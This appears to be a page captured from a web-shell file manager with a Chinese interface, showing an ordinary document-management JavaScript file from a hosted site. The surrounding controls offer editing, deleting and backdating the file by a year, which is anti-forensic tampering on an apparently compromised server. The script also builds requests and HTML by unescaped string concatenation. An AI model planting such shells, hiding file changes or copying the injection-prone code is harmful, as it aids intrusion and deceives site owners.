文件操作 - document.js
返回文件管理
返回主菜单
删除本文件
文件: E:\HostingSpaces\kimblycr\howell.kimbly.in\wwwroot\js\document.js
编辑文件内容
function SearchDocuments() { console.log('In Search Documents'); var Title = document.getElementById('Documents_Search_txtTitle').value; var ObjectType = document.getElementById('Documents_Search_ObjectType').value; var collection = "Documents"; $.ajax({ type: "POST", contentType: "application/json; charset=utf-8", url: "WebMethods/Documents.aspx/SearchDocuments", data: "{'Title': '" + Title + "','ObjectType': '" + ObjectType + "'}", dataType: "json", success: function (data) { if (data.d != null) { $("#grd" + collection).empty(); var str = "<thead><tr><td>ID</td><td>Title</td><td>FileName</td><td>TimeStamp</td><td>ObjectType</td><td>ObjectID</td><td>Author</td></tr></thead><tbody>"; for (i = 0; i < data.d.length; i++) { var hdr = data.d[i].RowData; str += hdr; } $("#grd" + collection).append(str); $("#grd" + collection).append("</tbody>"); $("#grd" + collection).show(); $("#dvGrdReport" + collection).show(); } }, error: function (XMLHttpRequest, textStatus, errorThrown) { console.log(XMLHttpRequest.responseText); } }); } function EditDocument(ID) { var formname = 'Documents'; $('#infoContainer').children().hide(); $('#secondScreen').show(); $('#' + formname).show(); $('#DvFrmEdit' + formname).show(); $('#Dv' + formname + 'Frm').hide(); var prefix = formname + '_edit_txt'; var targetdiv = 'DvFrmEdit' + formname; var ctrl = $(document.createElement('div')).attr('id', 'dvRight'); var hdr = '<div class="spacer"></div><div class="form-horizontal"><div class="control-group"><div style="-webkit-border-radius: 6px;-moz-border-radius: 6px;border-radius: 6px;border:1px solid #E5E5E5;"><div class="modal-header"><a class="close" data-dismiss="modal" onclick="closeEditForm(7)">x</a><b style="font-size: 20px;"><label id="EditDocumentsID"></label></b><sub style="margin-left: 430px"> <label id="TitleAuthDocuments"></label></sub></div><div class="modal-body">'; var frm = '<form id="frmEditDocuments" name="frmEditDocuments"><div class="form-group"><label class="col-sm-2 control-label">Title</label><div class="col-sm-4"><input class="form-control" id="txtEditDocumentsTitle" data-fieldtype="SingleLine" type="text"></div><label class="col-sm-2 control-label">FileName</label><div class="col-sm-4"><input class="form-control" id="txtEditDocumentsFileName" data-fieldtype="SingleLine" type="text" disabled="disabled"></div></div><div class="form-group"><label class="col-sm-2 control-label">TimeStamp</label><div class="col-sm-4"><input class="form-control" id="txtEditDocumentsTimeStamp" data-fieldtype="SingleLine" type="text" disabled="disabled"></div><label class="col-sm-2 control-label">UploadedBy</label><div class="col-sm-4"><input class="form-control" id="txtEditDocumentsUploadedBy" disabled="disabled"/></div></div><div class="form-group"><label class="col-sm-2 control-label">ObjectType</label><div class="col-sm-4"><input class="form-control" id="txtEditDocumentsObjectType" data-fieldtype="SingleLine" type="text" disabled="disabled"></div><label class="col-sm-2 control-label">ObjectID</label><div class="col-sm-4"><input type="text" class="form-control" id="txtEditDocumentsObjectID" disabled="disabled"/></div></div></div></form>'; var panels = '<div class="panel panel-default"><div id="DVDocumentsComments" class="panel-body" style="display:none;"></div><div id="DVDocumentsDocs" class="panel-body"></div></div><div class="panel panel-default"><div id="DVDocumentImagePreview" class="panel-body"><img id="Documents_edit_imagebox" style="width: 200px;" ></div></div>'; var ftr = '<div class="modal-footer"><div class="form-group"><div style="float:left;">'; var str = "'Documents'"; var params = "'Documents'," + ID; ftr += '<button id="BtnCommentDocs" class="btn btn-default" data-toggle="modal" data-target="#myModalComment" onclick="StartComment(' + params + ')"><i class="icon-pencil"></i>Comment</button></div><div style="float:right;"><button id="btnDeleteDocs" style="display:none" class="btn btn-danger" onclick="DeleteFormValues(' + params + ')">Delete</button><button id="btnUpdateDocs" style="display:none" class="btn btn-success" onclick="UpdateDocument(' + ID + ')">Save</button></div></div></div></div></div></div>'; content = hdr + frm + panels + ftr; $('#' + targetdiv).html(''); $('#' + targetdiv).empty(); ctrl.html(content); ctrl.appendTo('#' + targetdiv); $('#' + targetdiv).show(); setTimeout(function () { GetDocumentsByID(ID); GetAssociatedComments(formname, ID); GetAssociatedDocuments('Documents', ID); GetDocumentAllowedRestrictions(); }, 500); } function CheckDocsRestrictions() { $.ajax({ type: "POST", contentType: "application/json; charset=utf-8", url: "WebMethods/Contacts.aspx/GetRestrictionsByFormNameEmpID", data: "{'FormName': '" + 'Docs' + "'}", dataType: "json", success: function (data) { if (data.d != null) { for (i = 0; i < data.d.length; i++) { var nm = data.d[i].RowData; console.log('CheckDocsRestrictions nm-' + nm); if (nm == "Update") { $("#btnUpdateDocs").hide(); } else if (nm == "Delete") { $("#btnDeleteDocs").hide(); } else if (nm == "Comment") { $("#BtnCommentDocs").hide(); } } } }, error: function (XMLHttpRequest, textStatus, errorThrown) { console.log(XMLHttpRequest.responseText); } }); } function GetDocumentsByID(ID) { $.ajax({ type: "POST", contentType: "application/json; charset=utf-8", url: "WebMethods/Documents.aspx/GetDocumentsByID", data: "{'ID':'" + ID + "'}", dataType: "json", success: function (data) { if (data.d != null) { var obj = JSON.parse(data.d); document.getElementById("EditDocumentsID").innerHTML = obj[0].ID; $("#txtEditDocumentsTitle").val(obj[0].Title); $("#txtEditDocumentsFileName").val(obj[0].FileName); $("#txtEditDocumentsTimeStamp").val(obj[0].TimeStamp); $("#txtEditDocumentsUploadedBy").val(obj[0].UploadedBy); $("#txtEditDocumentsObjectType").val(obj[0].ObjectType); $("#txtEditDocumentsObjectID").val(obj[0].ObjectID); var colval = obj[0].FileName; if ((colval.toLowerCase().indexOf(".jpg") > -1) || (colval.toLowerCase().indexOf(".png") > -1) || (colval.toLowerCase().indexOf(".gif") > -1) || (colval.toLowerCase().indexOf(".tif") > -1)) { var imgdoc = document.getElementById('Documents_edit_imagebox'); imgdoc.src = "Files/" + colval; } var docdata = '<div class="col-sm-2" style="padding: 0px;width: 70px;">Hyperlink:</div><div class="col-sm-10">'; docdata += "<small style='color: lightgray;'> <a href='Files/" + colval + "' target='_blank' >" + obj[0].Title + "</a></small><hr style='color: lightgray;margin-top: 0px;margin-bottom: 0px;'>"; docdata += "</div>"; $("#DVDocumentsDocs").html(""); $("#DVDocumentsDocs").append(docdata); $("#DVDocumentsDocs").show(); } }, error: function (XMLHttpRequest, textStatus, errorThrown) { console.log(XMLHttpRequest.responseText); } }); } function UpdateDocument(ID) { var Title = document.getElementById('txtEditDocumentsTitle').value; $.ajax({ type: "POST", contentType: "application/json; charset=utf-8", url: "WebMethods/Documents.aspx/Update_Documents", data: "{'ID':'" + ID + "','Title':'" + Title + "','LoggedInEmpID':'" + LoggedInEmpID + "'}", dataType: "json", success: function (data) { if (data.d != null) { } }, error: function (XMLHttpRequest, textStatus, errorThrown) { console.log(XMLHttpRequest.responseText); } }); } function GetAssociatedDocuments(objecttype, objectID) { console.log('In GetAssociatedDocuments'); var docdata = '<div class="col-sm-2" style="padding: 0px;width: 70px;">Documents:</div><div class="col-sm-10">'; $.ajax({ type: "POST", url: "WebMethods/Employees.aspx/GetObjectDocuments", data: "{'ObjectType': '" + objecttype + "','ObjectID': '" + objectID + "'}", contentType: "application/json; charset=utf-8", dataType: "json", success: function (data) { if (data.d != null) { setTimeout(function () { for (i = 0; i < data.d.length; i++) { docdata += "<small style='color: lightgray;'> " + data.d[i].RowData + "</small><hr style='color: lightgray;margin-top: 0px;margin-bottom: 0px;'>"; } if (data.d.length > 0) { docdata += "</div>"; $("#DV" + objecttype + "Docs").html(""); $("#DV" + objecttype + "Docs").append(docdata); $("#DV" + objecttype + "Docs").show(); } }, 1000); } }, error: function (XMLHttpRequest, textStatus, errorThrown) { console.log(XMLHttpRequest.responseText); } }); } function DeleteFormValues(module, ID) { $.ajax({ type: "POST", url: "WebMethods/Documents.aspx/DeleteFormValues", data: "{'ObjectType': '" + module + "','ObjectID': '" + ID + "'}", contentType: "application/json; charset=utf-8", dataType: "json", success: function (data) { if (data.d != null) { alert('Deleted'); closeEditForm(7); } }, error: function (XMLHttpRequest, textStatus, errorThrown) { console.log(XMLHttpRequest.responseText); } }); }
修改文件时间
将文件时间修改为当前时间的前一年
删除文件